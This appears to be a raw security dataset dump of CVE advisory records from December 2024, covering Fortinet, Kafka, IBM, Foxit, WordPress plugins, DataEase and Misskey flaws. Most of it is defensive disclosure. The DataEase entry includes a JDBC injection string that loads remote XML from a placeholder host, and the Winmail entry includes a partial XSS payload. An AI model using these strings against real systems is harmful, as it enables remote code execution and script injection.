deardaniel/secdata-raw huggingface dataset:
CVE: CVE-2024-50570
Published: 2024-12-18
Description: A Cleartext Storage of Sensitive Information vulnerability [CWE-312] in FortiClientWindows 7.4.0 through 7.4.1, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13 and FortiClientLinux 7.4.0 through 7.4.2, 7.2.0 through 7.2.7, 7.0.0 through 7.0.13 may permit a local authenticated user to retrieve VPN password via memory dump, due to JavaScript's garbage collector
CVSS Score: 5.0 (MEDIUM)
CWE: CWE-312, CWE-312
References: https://fortiguard.fortinet.com/psirt/FG-IR-23-278
CVE: CVE-2024-56128
Published: 2024-12-18
Description: Incorrect Implementation of Authentication Algorithm in Apache Kafka's SCRAM implementation.

Issue Summary:
Apache Kafka's implementation of the Salted Challenge Response Authentication Mechanism (SCRAM) did not fully adhere to the requirements of RFC 5802 [1].
Specifically, as per RFC 5802, the server must verify that the nonce sent by the client in the second message matches the nonce sent by the server in its first message.
However, Kafka's SCRAM implementation did not perform this validation.

Impact:
This vulnerability is exploitable only when an attacker has plaintext access to the SCRAM authentication exchange. However, the usage of SCRAM over plaintext is strongly
discouraged as it is considered an insecure practice [2]. Apache Kafka recommends deploying SCRAM exclusively with TLS encryption to protect SCRAM exchanges from interception [3].
Deployments using SCRAM with TLS are not affected by this issue.

How to Detect If You Are Impacted:
If your deployment uses SCRAM authentication over plaintext communication channels (without TLS encryption), you are likely impacted.
To check if TLS is enabled, review your server.properties configuration file for listeners property. If you have SASL_PLAINTEXT in the listeners, then you are likely impacted.

Fix Details:
The issue has been addressed by introducing nonce verification in the final message of the SCRAM authentication exchange to ensure compliance with RFC 5802.

Affected Versions:
Apache Kafka versions 0.10.2.0 through 3.9.0, excluding the fixed versions below.

Fixed Versions:
3.9.0
3.8.1
3.7.2

Users are advised to upgrade to 3.7.2 or later to mitigate this issue.

Recommendations for Mitigation:
Users unable to upgrade to the fixed versions can mitigate the issue by:
- Using TLS with SCRAM Authentication:
Always deploy SCRAM over TLS to encrypt authentication exchanges and protect against interception.
- Considering Alternative Authentication Mechanisms:
Evaluate alternative authentication mechanisms, such as PLAIN, Kerberos or OAuth with TLS, which provide additional layers of security.
CVSS Score: 5.3 (MEDIUM)
CWE: CWE-303
References: https://datatracker.ietf.org/doc/html/rfc5802; https://datatracker.ietf.org/doc/html/rfc5802#section-9; https://kafka.apache.org/documentation/#security_sasl_scram_security
CVE: CVE-2023-50956
Published: 2024-12-18
Description: IBM Storage Defender - Resiliency Service 2.0.0 through 2.0.9 

could allow a privileged user to obtain highly sensitive user credentials from secret keys that are stored in clear text.
CVSS Score: 4.4 (MEDIUM)
CWE: CWE-256
References: https://www.ibm.com/support/pages/node/7178587
CVE: CVE-2024-12371
Published: 2024-12-18
Description: A device takeover vulnerability exists in the Rockwell Automation Power Monitor 1000. This vulnerability allows configuration of a new Policyholder user without any authentication via API. Policyholder user is the most privileged user that can perform edit operations, creating admin users and performing factory reset.
CWE: CWE-306
References: https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1714.html
CVE: CVE-2024-12372
Published: 2024-12-18
Description: A denial-of-service and possible remote code execution vulnerability exists in the Rockwell Automation Power Monitor 1000. The vulnerability results in corruption of the heap memory which may compromise the integrity of the system, potentially allowing for remote code execution or a denial-of-service attack.
CWE: CWE-94
References: https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1714.html
CVE: CVE-2024-12373
Published: 2024-12-18
Description: A denial-of-service vulnerability exists in the Rockwell Automation Power Monitor 1000. The vulnerability results in a buffer-overflow, potentially causing denial-of-service.
CWE: CWE-120
References: https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1714.html
CVE: CVE-2024-47119
Published: 2024-12-18
Description: IBM Storage Defender - Resiliency Service 2.0.0 through 2.0.9 does not properly validate a certificate which could allow an attacker to spoof a trusted entity by interfering in the communication path between the host and client.
CVSS Score: 5.9 (MEDIUM)
CWE: CWE-295
References: https://www.ibm.com/support/pages/node/7178587
CVE: CVE-2024-47810
Published: 2024-12-18
Description: A use-after-free vulnerability exists in the way Foxit Reader 2024.3.0.26795 handles a 3D page object. A specially crafted Javascript code inside a malicious PDF document can trigger this vulnerability, which can lead to memory corruption and result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
CVSS Score: 8.8 (HIGH)
CWE: CWE-416
References: https://talosintelligence.com/vulnerability_reports/TALOS-2024-2094; https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-2094
CVE: CVE-2024-49576
Published: 2024-12-18
Description: A use-after-free vulnerability exists in the way Foxit Reader 2024.3.0.26795 handles a checkbox CBF_Widget object. A specially crafted Javascript code inside a malicious PDF document can trigger this vulnerability, which can lead to memory corruption and result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
CVSS Score: 8.8 (HIGH)
CWE: CWE-416
References: https://talosintelligence.com/vulnerability_reports/TALOS-2024-2093; https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-2093
CVE: CVE-2024-52361
Published: 2024-12-18
Description: IBM Storage Defender - Resiliency Service 2.0.0 through 2.0.9 



 stores user credentials in plain text which can be read by an authenticated user with access to the pod.
CVSS Score: 5.7 (MEDIUM)
CWE: CWE-256
References: https://www.ibm.com/support/pages/node/7178587
CVE: CVE-2024-25042
Published: 2024-12-18
Description: IBM Cognos Analytics 11.2.0 through 11.2.4 and 12.0.0 through 12.0.3 



is potentially vulnerable to Cross Site Scripting (XSS). A remote attacker could execute malicious commands due to improper validation of column headings in Cognos Explorations.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://www.ibm.com/support/pages/node/7173592
CVE: CVE-2024-41752
Published: 2024-12-18
Description: IBM Cognos Analytics 11.2.0 through 11.2.4 and 12.0.0 through 12.0.3 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-80, CWE-79
References: https://www.ibm.com/support/pages/node/7177223
CVE: CVE-2024-45082
Published: 2024-12-18
Description: IBM Cognos Analytics 11.2.0 through 11.2.4 and 12.0.0 through 12.0.3 

could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted.
CVSS Score: 6.8 (MEDIUM)
CWE: CWE-601
References: https://www.ibm.com/support/pages/node/7177223
CVE: CVE-2024-55086
Published: 2024-12-18
Description: In the GetSimple CMS CE 3.3.19 management page, Server-Side Request Forgery (SSRF) can be achieved in the plug-in download address in the backend management system.
CVSS Score: 7.2 (HIGH)
CWE: CWE-918
References: https://getsimple-ce.ovh/; https://tasteful-stamp-da4.notion.site/CVE-2024-55086-15b1e0f227cb80e4bf4ed76aac53f795; https://tasteful-stamp-da4.notion.site/CVE-2024-55086-15b1e0f227cb80e4bf4ed76aac53f795
CVE: CVE-2024-55492
Published: 2024-12-18
Description: Winmail Server 4.4 is vulnerable to f_user=%22%3E%3Csvg%20onload Cross Site Scripting (XSS).
CVSS Score: 6.1 (MEDIUM)
CWE: CWE-79
References: https://github.com/qtxz54/Vul/blob/main/XSS/Winmail-Server.md
CVE: CVE-2024-55088
Published: 2024-12-18
Description: GetSimple CMS CE 3.3.19 is vulnerable to Server-Side Request Forgery (SSRF) in the backend plugin module.
CVSS Score: 8.8 (HIGH)
CWE: CWE-352
References: https://getsimple-ce.ovh/; https://tasteful-stamp-da4.notion.site/CVE-2024-55088-15b1e0f227cb8064a1a8ed684607fee9?pvs=73
CVE: CVE-2024-55089
Published: 2024-12-18
Description: Rhymix before 2.1.24 is vulnerable to Server-Side Request Forgery (SSRF) in the background import data function because XML documents may contain external entities.
CVSS Score: 4.1 (MEDIUM)
CWE: CWE-918, CWE-352
References: https://github.com/rhymix/rhymix/commit/464985b1ef382cc8cf852e9b028a960aa58b40c3; https://rhymix.org/news/1909005; https://tasteful-stamp-da4.notion.site/CVE-2024-55089-15b1e0f227cb8064a563c697709b7530?pvs=73
CVE: CVE-2024-47038
Published: 2024-12-18
Description: In dhd_prot_flowrings_pool_release of dhd_msgbuf.c, there is a possible outcof bounds write due to a missing bounds check. This could lead to localcescalation of privilege with no additional execution privileges needed. Usercinteraction is not needed for exploitation.
CVSS Score: 7.8 (HIGH)
CWE: CWE-787
References: https://source.android.com/security/bulletin/pixel/2024-11-01
CVE: CVE-2024-47039
Published: 2024-12-18
Description: In isSlotMarkedSuccessful of BootControl.cpp, there is a possible out of bounds read due to a missing bounds check. This could lead to local  information disclosure with no additional execution privileges needed. User  interaction is not needed for exploitation.
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-125
References: https://source.android.com/security/bulletin/pixel/2024-11-01
CVE: CVE-2024-47040
Published: 2024-12-18
Description: There is a possible UAF due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
CVSS Score: 7.8 (HIGH)
CWE: CWE-416
References: https://source.android.com/security/bulletin/pixel/2024-11-01
CVE: CVE-2024-49201
Published: 2024-12-18
Description: Keyfactor Remote File Orchestrator (aka remote-file-orchestrator) 2.8 before 2.8.1 allows Information Disclosure: sensitive information could be exposed at the debug logging level.
CVSS Score: 4.3 (MEDIUM)
CWE: CWE-922
References: https://github.com/Keyfactor/remote-file-orchestrator/releases/tag/2.8.1; https://keyfactor.com
CVE: CVE-2024-49202
Published: 2024-12-18
Description: Keyfactor Command before 12.5.0 has Incorrect Access Control: access tokens are over permissioned, aka 64099. The fixed versions are 11.5.1.1, 11.5.2.1, 11.5.3.1, 11.5.4.5, 11.5.6.1, 11.6.0, 12.2.0.1, 12.3.0.1, 12.4.0.1, 12.5.0, and 24.4.0.
CVSS Score: 7.6 (HIGH)
CWE: CWE-276
References: https://keyfactor.com; https://software.keyfactor.com/Core-OnPrem/v12.5/Content/ReleaseNotes/ReleaseNoteDetails-12_5.htm
CVE: CVE-2024-54381
Published: 2024-12-18
Description: Missing Authorization vulnerability in Dotstore Advance Menu Manager advance-menu-manager.This issue affects Advance Menu Manager: from n/a through <= 3.1.1.
CVSS Score: 7.1 (HIGH)
CWE: CWE-862
References: https://patchstack.com/database/Wordpress/Plugin/advance-menu-manager/vulnerability/wordpress-advance-menu-manager-plugin-3-1-1-settings-change-vulnerability?_s_id=cve
CVE: CVE-2024-54383
Published: 2024-12-18
Description: Incorrect Privilege Assignment vulnerability in wpweb WooCommerce PDF Vouchers woocommerce-pdf-vouchers allows Privilege Escalation.This issue affects WooCommerce PDF Vouchers: from n/a through < 4.9.9.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-266
References: https://patchstack.com/database/Wordpress/Plugin/woocommerce-pdf-vouchers/vulnerability/wordpress-woocommerce-pdf-vouchers-plugin-4-9-9-broken-authentication-vulnerability?_s_id=cve
CVE: CVE-2024-55952
Published: 2024-12-18
Description: DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.
CVSS Score: 8.8 (HIGH)
CWE: CWE-20
References: https://github.com/dataease/dataease/commit/0db4872a52eccf6e83dd9359aa05db52dd580ec1; https://github.com/dataease/dataease/security/advisories/GHSA-w8qm-xw38-93qw
CVE: CVE-2024-55953
Published: 2024-12-18
Description: DataEase is an open source business analytics tool. Authenticated users can read and deserialize arbitrary files through the background JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. This vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.
CVSS Score: 8.1 (HIGH)
CWE: CWE-89
References: https://github.com/dataease/dataease/commit/0db4872a52eccf6e83dd9359aa05db52dd580ec1; https://github.com/dataease/dataease/security/advisories/GHSA-mrf3-9q84-rcmf
CVE: CVE-2024-56047
Published: 2024-12-18
Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in VibeThemes WPLMS wplms_plugin allows SQL Injection.This issue affects WPLMS: from n/a through < 1.9.9.5.3.
CVSS Score: 8.5 (HIGH)
CWE: CWE-89
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-subscriber-sql-injection-vulnerability?_s_id=cve
CVE: CVE-2024-56048
Published: 2024-12-18
Description: Missing Authorization vulnerability in VibeThemes WPLMS wplms_plugin allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WPLMS: from n/a through <= 1.9.9.
CVSS Score: 8.8 (HIGH)
CWE: CWE-862
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-arbitrary-option-update-to-privilege-escalation-vulnerability?_s_id=cve
CVE: CVE-2024-56049
Published: 2024-12-18
Description: Path Traversal: '.../...//' vulnerability in VibeThemes WPLMS wplms_plugin allows Path Traversal.This issue affects WPLMS: from n/a through < 1.9.9.5.2.
CVSS Score: 8.5 (HIGH)
CWE: CWE-35
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-subscriber-arbitrary-file-deletion-vulnerability?_s_id=cve
CVE: CVE-2024-56050
Published: 2024-12-18
Description: Unrestricted Upload of File with Dangerous Type vulnerability in VibeThemes WPLMS wplms_plugin allows Upload a Web Shell to a Web Server.This issue affects WPLMS: from n/a through < 1.9.9.5.3.
CVSS Score: 9.9 (CRITICAL)
CWE: CWE-434
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-subscriber-arbitrary-file-upload-vulnerability?_s_id=cve
CVE: CVE-2024-56051
Published: 2024-12-18
Description: Improper Control of Generation of Code ('Code Injection') vulnerability in VibeThemes WPLMS wplms_plugin allows Code Injection.This issue affects WPLMS: from n/a through < 1.9.9.5.
CVSS Score: 8.5 (HIGH)
CWE: CWE-94
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-student-remote-code-execution-rce-vulnerability?_s_id=cve
CVE: CVE-2024-56052
Published: 2024-12-18
Description: Unrestricted Upload of File with Dangerous Type vulnerability in VibeThemes WPLMS wplms_plugin allows Upload a Web Shell to a Web Server.This issue affects WPLMS: from n/a through < 1.9.9.5.2.
CVSS Score: 9.9 (CRITICAL)
CWE: CWE-434
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-student-arbitrary-file-upload-vulnerability?_s_id=cve
CVE: CVE-2024-56053
Published: 2024-12-18
Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in VibeThemes WPLMS wplms_plugin allows SQL Injection.This issue affects WPLMS: from n/a through < 1.9.9.5.3.
CVSS Score: 7.6 (HIGH)
CWE: CWE-89
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-instructor-sql-injection-vulnerability?_s_id=cve
CVE: CVE-2024-56054
Published: 2024-12-18
Description: Unrestricted Upload of File with Dangerous Type vulnerability in VibeThemes WPLMS wplms_plugin allows Upload a Web Shell to a Web Server.This issue affects WPLMS: from n/a through < 1.9.9.5.2.
CVSS Score: 9.1 (CRITICAL)
CWE: CWE-434
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-instructor-arbitrary-file-upload-vulnerability?_s_id=cve
CVE: CVE-2024-56055
Published: 2024-12-18
Description: Path Traversal: '.../...//' vulnerability in VibeThemes WPLMS wplms_plugin allows Path Traversal.This issue affects WPLMS: from n/a through < 1.9.9.5.2.
CVSS Score: 8.5 (HIGH)
CWE: CWE-35
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-arbitrary-directory-deletion-vulnerability?_s_id=cve
CVE: CVE-2024-56057
Published: 2024-12-18
Description: Unrestricted Upload of File with Dangerous Type vulnerability in VibeThemes WPLMS wplms_plugin allows Upload a Web Shell to a Web Server.This issue affects WPLMS: from n/a through < 1.9.9.5.2.
CVSS Score: 9.9 (CRITICAL)
CWE: CWE-434
References: https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-arbitrary-file-upload-vulnerability?_s_id=cve
CVE: CVE-2024-12741
Published: 2024-12-18
Description: A deserialization of untrusted data vulnerability exists in NI DAQExpress that may result in remote code execution. Successful exploitation requires an attacker to get a user to open a specially crafted project file. This vulnerability affects DAQExpress 5.1 and prior versions.  Please note that DAQExpress is an EOL product and will not receive any updates.
CVSS Score: 7.8 (HIGH)
CWE: CWE-502
References: https://knowledge.ni.com/KnowledgeArticleDetails?id=kA00Z000000kFD7SAM&l=en-US
CVE: CVE-2024-36694
Published: 2024-12-18
Description: OpenCart 4.0.2.3 is vulnerable to Server-Side Template Injection (SSTI) via the Theme Editor Function.
CVSS Score: 7.2 (HIGH)
CWE: CWE-94
References: https://github.com/A3h1nt/CVEs/blob/main/OpenCart/Readme.md; https://github.com/PawaritSanguanpang/CVEs/blob/main/OpenCart/CVE-2024-36694/README.md; https://github.com/opencart/opencart/issues/13863
CVE: CVE-2024-49363
Published: 2024-12-18
Description: Misskey is an open source, federated social media platform. In affected versions FileServerService (media proxy) in github.com/misskey-dev/misskey 2024.10.1 or earlier did not detect proxy loops, which allows remote actors to execute a self-propagating reflected/amplified distributed denial-of-service via a maliciously crafted note. FileServerService.prototype.proxyHandler did not check incoming requests are not coming from another proxy server. An attacker can execute an amplified denial-of-service by sending a nested proxy request to the server and end the request with a malicious redirect back to another nested proxy request.
Leading to unbounded recursion until the original request is timed out. This issue has been addressed in version 2024.11.0-alpha.3. Users are advised to upgrade. Users unable to upgrade may configure the reverse proxy to block requests to the proxy with an empty User-Agent header or one containing Misskey/. An attacker can not effectively modify the User-Agent header without making another request to the server.
CVSS Score: 7.4 (HIGH)
CWE: CWE-405, CWE-674
References: https://github.com/misskey-dev/misskey/security/advisories/GHSA-gq5q-c77c-v236
CVE: CVE-2024-51470
Published: 2024-12-18
Description: IBM MQ 9.1 LTS, 9.2 LTS, 9.3 LTS, 9.3 CD, 9.4 LTS, 9.4 CD, IBM MQ Appliance 9.3 LTS, 9.3 CD, 9.4 LTS, and IBM MQ for HPE NonStop 8.1.0 through 8.1.0.25 could allow an authenticated user to cause a denial-of-service due to messages with improperly set values.
CVSS Score: 6.5 (MEDIUM)
CWE: CWE-754
References: https://www.ibm.com/support/pages/node/7177593; https://www.ibm.com/support/pages/node/7178085; https://www.ibm.com/support/pages/node/7179137
CVE: CVE-2024-52579
Published: 2024-12-18
Description: Misskey is an open source, federated social media platform. Some APIs using `HttpRequestService` do not properly check the target host. This vulnerability allows an attacker to send POST or GET requests to the internal server, which may result in a SSRF attack.It allows an attacker to send POST or GET requests (with some controllable URL parameters) to private IPs, enabling further attacks on internal servers. This issue has been addressed in version 2024.11.0-alpha.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.
CVSS Score: 6.4 (MEDIUM)
CWE: CWE-20, CWE-918
References: https://github.com/misskey-dev/misskey/security/advisories/GHSA-5q3h-wpfw-hjjw
CVE: CVE-2024-52590
Published: 2024-12-18
Description: Misskey is an open source, federated social media platform. In affected versions missing validation in `ApRequestService.signedGet` allows an attacker to create fake user profiles that appear to be from a different instance than the one where they actually exist. These profiles can be used to impersonate existing users from the target instance. Vulnerable Misskey instances will accept spoofed users as valid, allowing an attacker to impersonate users on another instance. Attackers have full control of the spoofed user and can post, renote, or otherwise interact like a real account. This issue has been addressed in version 2024.11.0-alpha.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.
CVSS Score: 6.5 (MEDIUM)
CWE: CWE-20
References: https://github.com/misskey-dev/misskey/security/advisories/GHSA-7vgr-p3vc-p4h2
CVE: CVE-2024-52591
Published: 2024-12-18
Description: Misskey is an open source, federated social media platform. In affected versions missing validation in `ApRequestService.signedGet` and `HttpRequestService.getActivityJson` allows an attacker to create fake user profiles and forged notes. The spoofed users will appear to be from a different instance than the one where they actually exist, and the forged notes will appear to be posted by a different user. Vulnerable Misskey instances will accept the spoofed objects as valid, allowing an attacker to impersonate other users and instances. The attacker retains full control of the spoofed user / note and can interact like a real account. This issue has been addressed in version 2024.11.0-alpha.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.
CVSS Score: 9.3 (CRITICAL)
CWE: CWE-20
References: https://github.com/misskey-dev/misskey/security/advisories/GHSA-m2gq-69fp-6hv4